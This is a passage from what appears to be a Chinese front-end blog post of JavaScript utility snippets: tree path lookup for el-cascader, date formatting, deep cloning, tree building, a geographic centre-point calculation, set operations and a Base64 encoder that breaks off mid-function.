class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">treeFindPath</span> (<span class="params">tree, func, path = []</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (!tree) <span class="keyword">return</span> []</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">const</span> data <span class="keyword">of</span> tree) &#123;</span><br><span class="line">    path.<span class="title function_">push</span>(data.<span class="property">id</span>)</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_">func</span>(data)) <span class="keyword">return</span> path</span><br><span class="line">    <span class="keyword">if</span> (data.<span class="property">children</span>) &#123;</span><br><span class="line">      <span class="keyword">const</span> findChildren = <span class="title function_">treeFindPath</span>(data.<span class="property">children</span>, func, path)</span><br><span class="line">      <span class="keyword">if</span> (findChildren.<span class="property">length</span>) <span class="keyword">return</span> findChildren</span><br><span class="line">    &#125;</span><br><span class="line">    path.<span class="title function_">pop</span>()</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> []</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用示例，比如用于得到el-cascader某一级的entId，回显于组件中</span></span><br><span class="line"><span class="title function_">treeFindPath</span>(<span class="variable language_">this</span>.<span class="property">options</span>, <span class="function"><span class="params">data</span> =&gt;</span> data.<span class="property">id</span> === <span class="variable language_">this</span>.<span class="property">dataForm</span>.<span class="property">entId</span>);</span><br></pre></td></tr></table></figure><h3 id="数组去重new-Set">数组去重new Set()</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">this</span>.<span class="property">entIdList</span> = [...<span class="keyword">new</span> <span class="title class_">Set</span>([...<span class="variable language_">this</span>.<span class="property">defaultChoose</span>.<span class="title function_">flat</span>(<span class="title class_">Infinity</span>), ...opt.<span class="property">unitIdList</span>])];</span><br></pre></td></tr></table></figure><h3 id="时间格式化">时间格式化</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">parseTime</span>(<span class="params">time, pattern</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span> (<span class="variable language_">arguments</span>.<span class="property">length</span> === <span class="number">0</span> || !time) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">const</span> format = pattern || <span class="string">&#x27;&#123;y&#125;-&#123;m&#125;-&#123;d&#125; &#123;h&#125;:&#123;i&#125;:&#123;s&#125;&#x27;</span></span><br><span class="line">  <span class="keyword">let</span> date</span><br><span class="line">  <span class="keyword">if</span> (<span class="keyword">typeof</span> time === <span class="string">&#x27;object&#x27;</span>) &#123;</span><br><span class="line">    date = time</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> ((<span class="keyword">typeof</span> time === <span class="string">&#x27;string&#x27;</span>) &amp;&amp; (<span class="regexp">/^[0-9]+$/</span>.<span class="title function_">test</span>(time))) &#123;</span><br><span class="line">      time = <span class="built_in">parseInt</span>(time)</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">typeof</span> time === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">      time = time.<span class="title function_">replace</span>(<span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="regexp">/-/gm</span>), <span class="string">&#x27;/&#x27;</span>)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ((<span class="keyword">typeof</span> time === <span class="string">&#x27;number&#x27;</span>) &amp;&amp; (time.<span class="title function_">toString</span>().<span class="property">length</span> === <span class="number">10</span>)) &#123;</span><br><span class="line">      time = time * <span class="number">1000</span></span><br><span class="line">    &#125;</span><br><span class="line">    date = <span class="keyword">new</span> <span class="title class_">Date</span>(time)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">const</span> formatObj = &#123;</span><br><span class="line">    <span class="attr">y</span>: date.<span class="title function_">getFullYear</span>(),</span><br><span class="line">    <span class="attr">m</span>: date.<span class="title function_">getMonth</span>() + <span class="number">1</span>,</span><br><span class="line">    <span class="attr">d</span>: date.<span class="title function_">getDate</span>(),</span><br><span class="line">    <span class="attr">h</span>: date.<span class="title function_">getHours</span>(),</span><br><span class="line">    <span class="attr">i</span>: date.<span class="title function_">getMinutes</span>(),</span><br><span class="line">    <span class="attr">s</span>: date.<span class="title function_">getSeconds</span>(),</span><br><span class="line">    <span class="attr">a</span>: date.<span class="title function_">getDay</span>()</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">const</span> time_str = format.<span class="title function_">replace</span>(<span class="regexp">/&#123;(y|m|d|h|i|s|a)+&#125;/g</span>, <span class="function">(<span class="params">result, key</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">let</span> value = formatObj[key]</span><br><span class="line">    <span class="comment">// Note: getDay() returns 0 on Sunday</span></span><br><span class="line">    <span class="keyword">if</span> (key === <span class="string">&#x27;a&#x27;</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> [<span class="string">&#x27;日&#x27;</span>, <span class="string">&#x27;一&#x27;</span>, <span class="string">&#x27;二&#x27;</span>, <span class="string">&#x27;三&#x27;</span>, <span class="string">&#x27;四&#x27;</span>, <span class="string">&#x27;五&#x27;</span>, <span class="string">&#x27;六&#x27;</span>][value]</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (result.<span class="property">length</span> &gt; <span class="number">0</span> &amp;&amp; value &lt; <span class="number">10</span>) &#123;</span><br><span class="line">      value = <span class="string">&#x27;0&#x27;</span> + value</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> value || <span class="number">0</span></span><br><span class="line">  &#125;)</span><br><span class="line">  <span class="keyword">return</span> time_str</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用示例</span></span><br><span class="line"><span class="title function_">parseTime</span>(date1, <span class="string">&#x27;&#123;y&#125;-&#123;m&#125;-&#123;d&#125;&#x27;</span>)</span><br><span class="line"><span class="title function_">parseTime</span>(date1, <span class="string">&#x27;&#123;h&#125;:&#123;i&#125;&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="对象深拷贝">对象深拷贝</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> <span class="title function_">deepClone</span> = data =&gt; &#123;</span><br><span class="line">  <span class="keyword">var</span> type = <span class="title function_">getObjType</span>(data)</span><br><span class="line">  <span class="keyword">var</span> obj</span><br><span class="line">  <span class="keyword">if</span> (type === <span class="string">&#x27;array&#x27;</span>) &#123;</span><br><span class="line">    obj = []</span><br><span class="line">  &#125; <span class="keyword">else</span> <span class="keyword">if</span> (type === <span class="string">&#x27;object&#x27;</span>) &#123;</span><br><span class="line">    obj = &#123;&#125;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="comment">// 不再具有下一层次</span></span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (type === <span class="string">&#x27;array&#x27;</span>) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>, len = data.<span class="property">length</span>; i &lt; len; i++) &#123;</span><br><span class="line">      obj.<span class="title function_">push</span>(<span class="title function_">deepClone</span>(data[i]))</span><br><span class="line">    &#125;</span><br><span class="line">  &#125; <span class="keyword">else</span> <span class="keyword">if</span> (type === <span class="string">&#x27;object&#x27;</span>) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> key <span class="keyword">in</span> data) &#123;</span><br><span class="line">      obj[key] = <span class="title function_">deepClone</span>(data[key])</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> obj</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="构造树形结构">构造树形结构</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 构造树型结构数据</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">*</span>&#125; data 数据源</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">*</span>&#125; id id字段 默认 &#x27;id&#x27;</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">*</span>&#125; parentId 父节点字段 默认 &#x27;parentId&#x27;</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">*</span>&#125; children 孩子节点字段 默认 &#x27;children&#x27;</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">*</span>&#125; rootId 根Id 默认 0</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">handleTree</span>(<span class="params">data, id, parentId, children, rootId</span>) &#123;</span><br><span class="line">  id = id || <span class="string">&#x27;id&#x27;</span></span><br><span class="line">  parentId = parentId || <span class="string">&#x27;parentId&#x27;</span></span><br><span class="line">  children = children || <span class="string">&#x27;children&#x27;</span></span><br><span class="line">  rootId = rootId || <span class="number">0</span></span><br><span class="line">  <span class="comment">//对源数据深度克隆</span></span><br><span class="line">  <span class="keyword">const</span> cloneData = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(<span class="title class_">JSON</span>.<span class="title function_">stringify</span>(data))</span><br><span class="line">  <span class="comment">//循环所有项</span></span><br><span class="line">  <span class="keyword">const</span> treeData = cloneData.<span class="title function_">filter</span>(<span class="function"><span class="params">father</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">let</span> branchArr = cloneData.<span class="title function_">filter</span>(<span class="function"><span class="params">child</span> =&gt;</span> &#123;</span><br><span class="line">      <span class="comment">//返回每一项的子级数组</span></span><br><span class="line">      <span class="keyword">return</span> father[id] === child[parentId]</span><br><span class="line">    &#125;)</span><br><span class="line">    branchArr.<span class="property">length</span> &gt; <span class="number">0</span> ? father.<span class="property">children</span> = branchArr : <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="comment">//返回第一层</span></span><br><span class="line">    <span class="keyword">return</span> father[parentId] === rootId</span><br><span class="line">  &#125;)</span><br><span class="line">  <span class="keyword">return</span> treeData != <span class="string">&#x27;&#x27;</span> ? treeData : data</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="树形结构中将为空的children设置为undefined，可以用于去除el-cascader最后一级空的列表">树形结构中将为空的children设置为undefined，可以用于去除el-cascader最后一级空的列表</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> <span class="title function_">processSubjectTree</span> = tree =&gt; &#123;</span><br><span class="line">  tree.<span class="title function_">forEach</span>(<span class="function"><span class="params">branch</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (branch.<span class="property">children</span>) &#123;</span><br><span class="line">      <span class="keyword">if</span> (branch.<span class="property">children</span>.<span class="property">length</span>) &#123;</span><br><span class="line">        <span class="title function_">processSubjectTree</span>(branch.<span class="property">children</span>);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        branch.<span class="property">children</span> = <span class="literal">undefined</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;);</span><br><span class="line">  <span class="keyword">return</span> tree;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h3 id="计算多个坐标点的中心点">计算多个坐标点的中心点</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> <span class="title function_">getCenterPoint</span> = (<span class="params">geoCoordinateList</span>) =&gt; &#123;</span><br><span class="line">  <span class="keyword">const</span> geoCoordinateListFlat = geoCoordinateList.<span class="title function_">reduce</span>(<span class="function">(<span class="params">s, v</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> (s = s.<span class="title function_">concat</span>(&#123;<span class="attr">lng</span>: v[<span class="number">0</span>], <span class="attr">lat</span>: v[<span class="number">1</span>]&#125;))</span><br><span class="line">  &#125;, [])</span><br><span class="line">  <span class="keyword">const</span> total = geoCoordinateListFlat.<span class="property">length</span></span><br><span class="line">  <span class="keyword">let</span> X = <span class="number">0</span></span><br><span class="line">  <span class="keyword">let</span> Y = <span class="number">0</span></span><br><span class="line">  <span class="keyword">let</span> Z = <span class="number">0</span></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">const</span> g <span class="keyword">of</span> geoCoordinateListFlat) &#123;</span><br><span class="line">    <span class="keyword">const</span> lat = g.<span class="property">lat</span> * <span class="title class_">Math</span>.<span class="property">PI</span> / <span class="number">180</span></span><br><span class="line">    <span class="keyword">const</span> lon = g.<span class="property">lng</span> * <span class="title class_">Math</span>.<span class="property">PI</span> / <span class="number">180</span></span><br><span class="line">    <span class="keyword">const</span> x = <span class="title class_">Math</span>.<span class="title function_">cos</span>(lat) * <span class="title class_">Math</span>.<span class="title function_">cos</span>(lon)</span><br><span class="line">    <span class="keyword">const</span> y = <span class="title class_">Math</span>.<span class="title function_">cos</span>(lat) * <span class="title class_">Math</span>.<span class="title function_">sin</span>(lon)</span><br><span class="line">    <span class="keyword">const</span> z = <span class="title class_">Math</span>.<span class="title function_">sin</span>(lat)</span><br><span class="line">    X += x</span><br><span class="line">    Y += y</span><br><span class="line">    Z += z</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  X = X / total</span><br><span class="line">  Y = Y / total</span><br><span class="line">  Z = Z / total</span><br><span class="line">  <span class="keyword">const</span> <span class="title class_">Lon</span> = <span class="title class_">Math</span>.<span class="title function_">atan2</span>(Y, X)</span><br><span class="line">  <span class="keyword">const</span> <span class="title class_">Hyp</span> = <span class="title class_">Math</span>.<span class="title function_">sqrt</span>(X * X + Y * Y)</span><br><span class="line">  <span class="keyword">const</span> <span class="title class_">Lat</span> = <span class="title class_">Math</span>.<span class="title function_">atan2</span>(Z, <span class="title class_">Hyp</span>)</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> [<span class="title class_">Lon</span> * <span class="number">180</span> / <span class="title class_">Math</span>.<span class="property">PI</span>, <span class="title class_">Lat</span> * <span class="number">180</span> / <span class="title class_">Math</span>.<span class="property">PI</span>]</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 如使用下列数据获取秦淮区的中心点</span></span><br><span class="line">[</span><br><span class="line">    [</span><br><span class="line">        <span class="number">118.83298953125</span>,</span><br><span class="line">        <span class="number">31.98819846875</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="number">118.797345</span>,</span><br><span class="line">        <span class="number">31.973843</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="number">118.792867460938</span>,</span><br><span class="line">        <span class="number">31.9960305000001</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="number">118.757345</span>,</span><br><span class="line">        <span class="number">32.013843</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="number">118.757345</span>,</span><br><span class="line">        <span class="number">32.023843</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="number">118.767345</span>,</span><br><span class="line">        <span class="number">32.023843</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="number">118.83205203125</span>,</span><br><span class="line">        <span class="number">32.0128517890625</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="number">118.837345</span>,</span><br><span class="line">        <span class="number">31.993843</span></span><br><span class="line">    ],</span><br><span class="line">    [</span><br><span class="line">        <span class="number">118.83298953125</span>,</span><br><span class="line">        <span class="number">31.98819846875</span></span><br><span class="line">    ]</span><br><span class="line">]</span><br></pre></td></tr></table></figure><h3 id="数组交集、并集、差集">数组交集、并集、差集</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">let</span> a = <span class="keyword">new</span> <span class="title class_">Set</span>([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>])</span><br><span class="line"> <span class="keyword">let</span> b = <span class="keyword">new</span> <span class="title class_">Set</span>([<span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>])</span><br><span class="line"> </span><br><span class="line"><span class="comment">//并集</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">new</span> <span class="title class_">Set</span>([...a, ...b]))</span><br><span class="line"><span class="comment">// 结果  &#123;1, 2, 3, 4&#125; </span></span><br><span class="line"></span><br><span class="line"> <span class="comment">//交集</span></span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="keyword">new</span> <span class="title class_">Set</span>([...a].<span class="title function_">filter</span>(<span class="function"><span class="params">v</span> =&gt;</span> b.<span class="title function_">has</span>(v)))) <span class="comment">// Set(2) &#123;2, 3&#125;</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">//差集</span></span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Set</span>([...a].<span class="title function_">filter</span>(<span class="function"><span class="params">v</span> =&gt;</span> !b.<span class="title function_">has</span>(v))) <span class="comment">//  Set(1) &#123;1&#125;</span></span><br></pre></td></tr></table></figure><h3 id="Base64加密">Base64加密</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> <span class="keyword">function</span> <span class="title function_">Base64</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="comment">// 私钥</span></span><br><span class="line">  <span class="keyword">let</span> _keyStr = <span class="string">&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;</span>;</span><br><span class="line">  <span class="comment">// 加密</span></span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">encode</span> = <span class="keyword">function</span> (<span class="params">input</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> output = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> chr1, chr2, chr3, enc1, enc2, enc3, enc4;</span><br><span class="line">    <span class="keyword">var</span> i = <span class="number">0</span>;</span><br><span class="line">    input = <span class="title function_">_utf8_encode</span>(input);</span><br><span class="line">    <span class="keyword">while</span> (i &lt; input.<span class="property">length</span>) &#123;</span><br><span class="line">      chr1 = input.<span class="title function_">charCodeAt</span>(i++);</span><br><span class="line">      chr2 = input.<span class="title function_">charCodeAt</span>(i++);</span><br><span class="line">      chr3 = input.<span class="title function_">charCodeAt</span>(i++);</span><br><span class="line">      enc1 = chr1 &gt;&gt; <span class="number">2</span>;</span><br><span class="line">      enc2 = ((chr1 &amp; <span class="number">3</span>) &lt;&lt; <span class="number">4</span>) | (chr2 &gt;&gt; <span class="number">4</span>);</span><br><span class="line">      enc3 = ((chr2 &amp; <span class="number">15</span>) &lt;&lt; <span class="number">2</span>) | (chr3 &gt;&gt; <span class="number">6</span>);</span><br><span class="line">      enc4 = chr3 &amp; <span class="number">63</span>;</span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">isNaN</span>(chr2)) &#123;</span><br><span class="line">        enc3 = enc4 = <span class="number">64</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">isNaN</span>(chr3)) &#123;</span><br><span class="line">        enc4 = <span class="number">64</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      output = output +</span><br><span class="line">        _keyStr.<span class="title function_">charAt</span>(enc1) + _keyStr.<span class="title function_">charAt</span>(enc2) +</span><br><span class="line">        _keyStr.<span class="title function_">charAt</span>(enc3) + _keyStr.<span class="title function_">charAt</span>(enc4);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> output;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// 解密</span></span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">decode</span> = <span class="function">(<span class="params">input</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">var</span> output = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> chr1, chr2, chr3;</span><br><span class="line">    <span class="keyword">var</span> enc1, enc2, enc3, enc4;</span><br><span class="line">    <span class="keyword">var</span> i = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> (input === <span class="literal">undefined</span> || input == <span class="literal">null</span>) &#123;</span><br><span class="line"></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      input = input.<span class="title function_">replace</span>(<span class="regexp">/[^A-Za-z0-9\+\/\=]/g</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">      <span class="keyword">while</span> (i &lt; input.<span class="property">length</span>) &#123;</span><br><span class="line">        enc1 = _keyStr.<span class="title function_">indexOf</span>(input.<span class="title function_">charAt</span>(i++));</span><br><span class="line">        enc2 = _keyStr.<span class="title function_">indexOf</span>(input.<span class="title function_">charAt</span>(i++));</span><br><span class="line">        enc3 = _keyStr.<span class="title function_">indexOf</span>(input.<span class="title function_">charAt</span>(i++));</span><br><span class="line">        enc4 = _keyStr.<span class="title function_">indexOf</span>(input.<span class="title function_">charAt</span>(i++));</span><br><span class="line">        chr1 = (enc1 &lt;&lt; <span class="number">2</span>) | (enc2 &gt;&gt; <span class="number">4</span>);</span><br><span class="line">        chr2 = ((enc2 &amp; <span class="number">15</span>) &lt;&lt; <span class="number">4</span>) | (enc3 &gt;&gt; <span class="number">2</span>);</span><br><span class="line">        chr3 = ((enc3 &amp; <span class="number">3</span>) &lt;&lt; <span class="number">6</span>) | enc4;</span><br><span class="line">        output = output + <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(chr1);</span><br><span class="line">        <span class="keyword">if</span> (enc3 !== <span class="number">64</span>) &#123;</span><br><span class="line">          output = output + <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(chr2);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (enc4 !== <span class="number">64</span>) &#123;</span><br><span class="line">          output = output + <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(chr3);</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      output = <span class="title function_">_utf8_decode</span>(output);</span><br><span class="line">      <span class="keyword">return</span> output;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// private method for UTF-8 encoding</span></span><br><span class="line">  <span class="keyword">let</span> <span class="title function_">_utf8_encode</span> = (<span class="params">string</span>) =&gt; &#123;</span><br><span class="line">    string = string.<span class="title function_">replace</span>(<span class="regexp">/\r\n/g</span>, <span class="string">&quot;\n&quot;</span>);</span><br><span class="line">    <span class="keyword">var</span> utftext = <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> n = <span class="number">0</span>; n 